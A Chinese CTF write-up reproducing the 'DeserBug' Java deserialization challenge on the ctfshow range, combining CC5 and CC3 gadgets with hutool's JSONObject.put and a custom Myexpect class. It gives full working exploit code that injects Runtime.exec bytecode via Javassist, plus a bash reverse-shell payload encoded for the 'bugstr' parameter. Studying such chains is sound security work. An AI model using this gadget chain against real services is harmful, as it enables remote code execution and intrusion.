文章目录
前言
最近暂时没什么事做了,打算把之前国赛的题复现下,靶场用的是ctfshow
题目提示:
1. cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
2. jdk8u202
环境配置
项目结构
下载题目附件,有一个DeserBug.jar和lib文件夹
反编译DeserBug.jar,然后新建一个项目,把com/app下的两个java文件移到新项目的对应位置,也就是src/main/java/com/app

下载jdk8u202,地址jdk/8u202-b08,选最下面的jdk-8u202-windows-x64.exe
打开idea,在项目结构里配置SDK为jdk8u202

把附件里的lib库复制到新项目目录的lib文件夹,然后在库里面导入lib文件夹下的两个jar包

最后在模块里面添加库

Maven
添加依赖如下
xml
<dependencies>
<dependency>
<groupId>thirdparty</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/commons-collections-3.2.2.jar</systemPath>
</dependency>
<dependency>
<groupId>thirdparty</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.18</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/hutool-all-5.8.18.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>
接着右键Maven同步项目即可
利用过程
初步分析
com/app下总共有两个java文件,其中Testapp.java是主类
java
package com.app;
import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{e.toString()});
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}
可以看到接受一个bugstr参数,需要我们传入base64编码后的序列化数据,然后这里会解码并调用readObject()函数进行反序列化
同时题目提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept,跟进Myexpect看看

发现getAnyexcept()可以获取目标类的构造器并进行实例化,不难联想到可以用TrAXFilter来调用到TemplatesImpl的newTransformer()方法,进而实现动态加载恶意字节码执行任意命令
继续跟进JSONObject看看

我们发现put方法调用了两个参数的set,然后set又调用了重载的set,最终调用到JSONUtil.wrap方法,而wrap会遍历Bean的getter方法,如果我们在value中传入myexpect对象,就会反射调用到getAnyexcept(),进而触发newInstance
对于为什么wrap可以调用到Myexpect的getter方法,感兴趣的可以上网看看原理,或者打个断点跟进去分析,过程很长这里就不展示了,可以简要看看我跟踪调试的结果

然后就是要找哪里调用了put方法,根据之前审计CC链的经验,我们可以用LazyMap.get()来触发put方法

那剩下的的就好办了,可以用CC5的前半段加上CC3的后半段组合修改一下就可以得到完整利用链
前半部分
起点我们就用BadAttributeValueExpException的readObject(),具体可以参考我之前写的CC5审计文章Java反序列化 CC5链分析,当然我也会简单讲一下过程
首先通过BadAttributeValueExpException的readObject()触发valObj.toString(),valObj对象是由val获取,用反射修改字段为TiedMapEntry对象

然后调用到TiedMapEntry的toString(),进而调用到getValue(),map我们传入LazyMap,key随便传一个就可以

接着调用LazyMap的get方法触发put,map我们就传入JSONObject对象,因为JSONObject继承了MapWrapper,而MapWrapper又实现了Map接口,因此JSONObject是Map对象,可以传进去。然后factory我们就用ConstantTransformer

其实就是CC5的前半段,用图展示就是

后半部分
后半段的话就是CC3里有的,具体可以参考CC3分析文章Java反序列化 CC3链分析
在通过JSONUtil的wrap方法调用到Myexpect的getAnyexcept()之后,我们尝试实例化TrAXFilter,templates就传入TemplatesImpl对象,触发newTransformer()

然后触发到getTransletInstance()

继续跟进,当_name不为null且_class为null时,触发defineTransletClasses()

继续跟,可以看到调用了defineClass方法,其作用是将一段字节流(通常是编译后的class字节码)转换成java.lang.Class实例并返回对应的Class对象。不过需要先满足几个前置条件,例如_bytecodes不为null,_tfactory不为null以及要继承AbstractTranslet类,具体方法看我发的CC3文章,这里不多赘述了

最后用Javassist动态生成恶意类,转化为字节码byte数组,通过反射修改_bytecodes字段即可实现任意命令执行
java
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "calc.exe";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};
EXP
综上,我们可以得到exp为
java
public class Testapp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "calc.exe";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
Transformer factory = new ConstantTransformer(myexpect);
JSONObject jsonObject = new JSONObject();
Map decorate = LazyMap.decorate(jsonObject, factory);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
BadAttributeValueExpException o = new BadAttributeValueExpException(null);
setFieldValue(o, "val", tiedMapEntry);
serialize(o);
unserialize("cc.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
成功弹出计算器

这里画个图直观感受一下

靶场
然后我们回到靶场,题目要求传入base64编码后的序列化数据,我们尝试反弹shell,但Java的Runtime.getRuntime().exec("...")不支持直接执行带有重定向符(>、&)或管道符(|)的复杂 Shell 命令。它会把 > 当作文件名参数,而不是重定向操作,因此我们需要对命令执行编码
bash
bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}
修改EXP代码,使其输出编码后的序列化数据
java
public class Testapp {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil" + System.nanoTime());
String payload = "bash -c {echo,base64编码数据}|{base64,-d}|{bash,-i}";
String cmd = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", payload);
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
Transformer factory = new ConstantTransformer(myexpect);
JSONObject jsonObject = new JSONObject();
Map decorate = LazyMap.decorate(jsonObject, factory);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "test");
BadAttributeValueExpException o = new BadAttributeValueExpException(null);
setFieldValue(o, "val", tiedMapEntry);
byte[] serializedData = serializeToBytes(o);
String base64Payload = Base64.getEncoder().encodeToString(serializedData);
System.out.println(base64Payload);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serializeToBytes(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
服务器开启监听,然后将运行得到的base64编码数据传入,参数为bugstr

成功反弹shell

直接读取flag即可
